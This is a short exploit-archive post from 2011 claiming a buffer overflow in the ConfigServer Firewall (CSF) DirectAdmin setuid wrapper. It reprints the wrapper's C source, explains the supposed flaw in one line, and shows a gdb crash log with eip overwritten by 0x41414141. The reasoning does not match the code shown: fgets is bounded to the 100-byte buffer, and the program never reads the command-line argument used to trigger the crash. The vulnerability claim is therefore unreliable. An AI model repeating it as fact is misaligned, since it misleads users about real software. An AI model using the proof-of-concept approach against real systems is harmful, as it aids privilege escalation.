############################################################################
# Exploit Title: CSF Firewall Buffer overflow p0c
# DownLoaD : http://www.configserver.com/free/csf.tgz
# Date: 2011-12-09
# Author: FoX HaCkEr
# site : www.sec4ever.com
# MaiL : Mkq@hotmail.com
# Tested on: CentOS3/4
############################################################################

==============================================================================
FiLe : CSF.c

/*
    * Copyright 2006-2011, Way to the Web Limited
    * URL: http://www.configserver.com
    * Email: sales@waytotheweb.com
*/
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>
#include <pwd.h>
main ()
{
    FILE *adminFile;
    uid_t ruid;
    char name[100];
    struct passwd *pw;
    int admin = 0;

    ruid = getuid();
    pw = getpwuid(ruid);

    adminFile=fopen ("/usr/local/directadmin/data/admin/admin.list","r");
    while(fgets(name,100,adminFile) != NULL)
    {
        int end = strlen(name) - 1;
        if (end >= 0 && name[end] == '\n') name[end] = '\0';
        //printf("Name [%s]\n", name);
        if (strcmp(pw->pw_name, name) == 0) admin = 1;
    }
    fclose(adminFile);
    if (admin == 1)
    {
        setuid(0);
        setgid(0);
        //setegid(0);
        //seteuid(0);
        execv("/usr/local/directadmin/plugins/csf/exec/da_csf.cgi", NULL);
    } else {
        printf("Permission denied [User:%s UID:%d]\n", pw->pw_name, ruid);
    }
    return 0;
}

===========================================================================

why buffer overflow ?

Because char name[100];

fgets()

If we add more than what would be happening?

Buffer OverFlow ^_^

============================================================================

(gdb) run `python -c 'print "\x41"*150'`
Starting program: /root/csf `python -c 'print "\x41"*150'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
eax            0x0      0
ecx            0xb7fc54e0       -1208199968
edx            0xb7fc6360       -1208196256
ebx            0xb7fc4ff4       -1208201228
esp            0xbffff310       0xbffff310
ebp            0x41414141       0x41414141
esi            0x0      0
edi            0x0      0
eip            0x41414141       0x41414141
eflags         0x10246  [ PF ZF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb) i r eip
eip            0x41414141       0x41414141
(gdb) i r eip esp
eip            0x41414141       0x41414141
esp            0xbffff310       0xbffff310
(gdb)
=========================================================================
N0 ExpLoiT ScRipt KiiiD'z

Gr33T'z : ALL My Friends ..............